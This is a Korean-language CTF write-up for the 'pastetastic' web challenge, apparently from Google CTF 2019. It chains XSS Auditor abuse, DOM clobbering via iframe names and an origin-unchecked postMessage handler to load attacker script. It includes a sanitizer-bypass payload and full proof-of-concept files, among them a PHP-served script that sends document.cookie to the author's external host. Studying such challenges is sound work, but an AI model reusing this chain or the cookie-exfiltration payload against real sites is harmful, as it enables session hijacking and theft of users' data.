# pastetastic (web - 500 pts) ## Description The pretty paste solution! ## Exploit 이 문제는 Same-Origin-Policy와 XSS Auditor, postMessage 그리고 DOM Clobbering을 이용한 XSS문제입니다. 문제 페이지의 구성은 간단합니다. - create : pastebin처럼 글을 작성합니다. 이때, 사용자는 원하는 Syntax를 지정할 수 있습니다. - view : create기능을 이용하여 생성한 글을 열람합니다. 이때, 지정한 Syntax를 이용해 Code Highlighting을 해줍니다. - report : 현재 보고있는 view 페이지를 report합니다. XSS를 통해 플래그를 탈취하는 문제의 전형적인 형태입니다. 글 작성 페이지나 글 열람 페이지에서는 `CONFIG` 변수를 선언합니다. ```htmlmixed= <script nonce="blahblah">CONFIG={"viewer":[{"dependencies":[...],"plugins":[...],"preload":[...]}]}</script> ``` 선언한 `CONFIG` 변수는 `http://pastetastic.web.ctfcompetition.com/static/app.js`에서 사용되며, 이는 js파일을 로드하는데 사용합니다. ```javascript= async init() { const index = Array.from(document.querySelectorAll('iframe.sandbox')) .indexOf(this.sandbox); this.config = CONFIG.viewer[index]; this.loadedPlugins = {}; await this.sandboxLoaded; let loaders = []; for (let i = 0; i < this.config.dependencies.length; i++) { loaders.push(this.loadScript(this.config.dependencies[i])); } await Promise.all(loaders); loaders = []; for (let i = 0; i < this.config.preload.length; i++) { loaders.push(this.loadPlugin(this.config.preload[i])); } await Promise.all(loaders); } ``` 페이지에서는 C, C++, Python 등의 언어를 [Prism JS](https://prismjs.com/)를 Code Highlighting해주며, [Marked JS](https://github.com/markedjs/marked)를 이용해 Markdown을 파싱해줍니다. 그 후 iframe의 sandbox내에 들어갑니다. **Marked JS**를 이용해 파싱할 때 필터링을 우회하여 스크립트 삽입이 가능합니다. ```htmlmixed= Query : <script><scr<script>ipt>alert(1);//</script> Result : <script>alert(1);//</p> </script> ``` 하지만 iframe에는 sandbox가 걸려있기때문에 스크립트 실행이 불가능합니다. > Blocked script execution in 'http://pastetastic.web.ctfcompetition.com/sandbox' because the document's frame is sandboxed and the 'allow-scripts' permission is not set. 그러므로 app.js내에 있는 loadScript와 loadPlugin을 이용해 스크립트를 실행시켜야 할 것 같습니다. ### XSS Auditor abusing in Chrome XSS Auditor는 Chrome 74부터 default가 mode:block에서 filter로 변경되었습니다. https://chromium-review.googlesource.com/c/chromium/src/+/1417872 이를 이용하여 해당 문제에 존재하는 CONFIG를 제거해 줄 수 있습니다. URL : http://pastetastic.web.ctfcompetition.com/view/82210c03f4094e46aabb1dee839411ff?fucking=CONFIG={%22viewer%22:[{%22dependencies%22:[{%22integrity%22:%22sha256-sSTatLHEEY8GQrdYAuhkqrYogKZ/jDlgfYaqK3ld/uQ=%22,%22src%22:%22https://cdnjs.cloudflare.com/ajax/libs/prism/1.16.0/components/prism-core.min.js%22},{%22integrity%22:%22sha256-Y0YX22e5n0zVSAd1tJ6aypkv9o4AEX5YcRKPg1Al8jg=%22,%22src%22:%22https://cdnjs.cloudflare.com/ajax/libs/marked/0.6.1/marked.min.js%22}],%22plugins%22:{%22markdown%22:{%22integrity%22:%22sha256-e4izlzFmEQlenZQnzkYK5oyxV5mX6lwVQjL6onkHiy0=%22,%22requires%22:[%22markup%22],%22src%22:%22https://cdnjs.cloudflare.com/ajax/libs/prism/1.16.0/components/prism-markdown.min.js%22},%22markup%22:{%22integrity%22:%22sha256-8nT1E50WC5TDeb3+USsFEXN5ZGgLdmwZ6RS5KT71Wjs=%22,%22src%22:%22https://cdnjs.cloudflare.com/ajax/libs/prism/1.16.0/components/prism-markup.min.js%22}},%22preload%22:[%22markdown%22]}]};%3C/script%3E > The XSS Auditor refused to execute a script in [URL] because its source code was found within the request. The auditor was enabled as the server did not send an 'X-XSS-Protection' header. > app.js:24 Uncaught (in promise) ReferenceError: CONFIG is not defined > at Viewer.init (app.js:24) > at initView (app.js:203) > at app.js:212 > CONFIG가 제거되었기 때문에 app.js에서 Reference Error가 발생합니다. 이제 CONFIG를 만들러 가봅시다. ### DOM Cloberring `iframe`의 name은 변수로써 접근이 가능합니다. ```htmlmixed= <iframe name="p"></iframe> ``` ![DOM_Cloberring_console_p](https://i.imgur.com/H9CwBJ2.png) CONFIG 변수를 만들어 줄 수 있게 되었습니다. 예제에서 p로 접근을 하게 되면, 내부에 존재하는 변수에 접근이 가능합니다. 또한 Document Element의 attribute중 id을 변수로써 접근이 가능하게 됩니다. Markdown을 파싱할 때, 원하는 값을 id로 넣을 수가 있습니다. ``` Input : # ma # shi ## ro Outpu : <h1 id="ma">ma</h1> <h1 id="shi">shi</h1> <h2 id="ro">ro</h2> ``` 하지만 이는 Same-Origin-Policy을 따릅니다. ### Same-Origin-Policy 기본적으로 Domain이 다를 경우 DOM으로써 Cookie를 탈취하거나 내용을 가져올 수가 없습니다. ![](https://i.imgur.com/mgls3tx.png) 하지만, 내부에 존재하는 iframe의 location의 변경이 가능하며, 만약 변경한 location이 동일한 domain일 경우(e.g. A->B->A) 접근이 가능하게 됩니다. 또한, location이 자신의 domain일 경우 iframe의 name또한 변경이 가능하게 됩니다. ![](https://i.imgur.com/7p5gWMV.png) 문제에서는 렌더링을 위한 sandbox, reCAPTCHA 2개 총 3개의 iframe이 존재합니다. XSS Auditor를 통해 CONFIG변수를 지우고 iframe 중 하나를 같은 도메인으로 변경하고 iframe의 name을 CONFIG로 변경하게 되면, CONFIG 변수로써 접근이 가능하게 됩니다. ![](https://i.imgur.com/tE252ZC.png) ### postMessage app.js에 보면 eventHandler를 설정하는 코드가 있습니다. 그 중 error일 경우의 handler는 origin을 체크하지 않습니다. ```javascript= window.addEventListener('message', async (evt) => { if (evt.data.type === 'error' && evt.data.lang) { await this.init(); await this.loadPlugin(evt.data.lang); } }); ``` 그로인해 postMessage를 통해 loadPlugin을 사용할 수 있게 됩니다. ```javascript= loadPlugin(lang) { if (!this.loadedPlugins[lang]) { const promise = (async () => { const spec = this.config.plugins[lang]; if (spec.requires) { for (let req of spec.requires) { await this.loadPlugin(req); } } await this.loadScript(spec); })(); this.loadedPlugins[lang] = promise; } return this.loadedPlugins[lang]; } async loadScript(spec) { const params = {}; if (spec.integrity) { params.integrity = spec.integrity; } const resp = await fetch(spec.src, params); if (!resp.ok) { throw new Error(`${spec.src} failed to load`); } const script = await resp.text(); initScript(this.sandbox.contentWindow, script); } ``` loadPlugin에서는 loadScript를 호출하는데 loadScript에서 fetch를 통해 스크립트를 로드합니다. 즉, postMessage를 통해 원하는 스크립트를 로드할 수가 있습니다. CONFIG는 다음과 같은 구조를 가지고 있습니다. ``` CONFIG={"viewer":[{"dependencies":[...],"plugins":[...],"preload":[...]}]} ``` plugins의 src에 불러올 javascript의 주소를 넣어주게 되면 원하는 스크립트를 로드합니다. 주의할 점은 dependecnies와 preload의 값이 존재하지 않으면 에러가 발생하므로, 더미 값을 생성해줘야 합니다. PoC는 다음과 같습니다.(https://mashiro.kr/public/ctf/google/2019/quals/pastetastic/) exp.html: ```htmlmixed= <!DOCTYPE html> <html> <head> <title>pastetastic exploit</title> </head> <body> <script> function exp(ifrm){ var t = ifrm.contentWindow.frames[1]; t.location="subexp.html"; setTimeout(function(){ t.name="CONFIG"; setTimeout(function(){ ifrm.contentWindow.postMessage({type:"error",lang:"firstElementChild"},'https://pastetastic.web.ctfcompetition.com'); },800) },800) } </script> <iframe src="https://pastetastic.web.ctfcompetition.com/view/fd48dde3207a43a78c879f6faaee9bce?c=CONFIG={%22viewer%22:[{%22dependencies%22:[{%22integrity%22:%22sha256-sSTatLHEEY8GQrdYAuhkqrYogKZ/jDlgfYaqK3ld/uQ=%22,%22src%22:%22https://cdnjs.cloudflare.com/ajax/libs/prism/1.16.0/components/prism-core.min.js%22},{%22integrity%22:%22sha256-Y0YX22e5n0zVSAd1tJ6aypkv9o4AEX5YcRKPg1Al8jg=%22,%22src%22:%22https://cdnjs.cloudflare.com/ajax/libs/marked/0.6.1/marked.min.js%22}],%22plugins%22:{%22markdown%22:{%22integrity%22:%22sha256-e4izlzFmEQlenZQnzkYK5oyxV5mX6lwVQjL6onkHiy0=%22,%22requires%22:[%22markup%22],%22src%22:%22https://cdnjs.cloudflare.com/ajax/libs/prism/1.16.0/components/prism-markdown.min.js%22},%22markup%22:{%22integrity%22:%22sha256-8nT1E50WC5TDeb3+USsFEXN5ZGgLdmwZ6RS5KT71Wjs=%22,%22src%22:%22https://cdnjs.cloudflare.com/ajax/libs/prism/1.16.0/components/prism-markup.min.js%22}},%22preload%22:[%22markdown%22]}]};%3C/script%3E" name=p onload="exp(this)"> </body> </html> ``` subexp.html: ```htmlmixed= <iframe name="viewer" src="https://pastetastic.web.ctfcompetition.com/view/02873a7c56b042469cb4bf31baf20c90"></iframe> ``` xss.php: ```php <?php header('Content-Type: text/javascript'); header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Methods: GET'); header('Cache-Control: no-store, no-cache, must-revalidate'); echo <<<EOF (new Image()).src="https://mashiro.kr/?f="+document.cookie; EOF ?> ``` ![](https://i.imgur.com/jnka2Vc.png) **FLAG :** CTF{694435c0074e860b24cad51f584d0d30}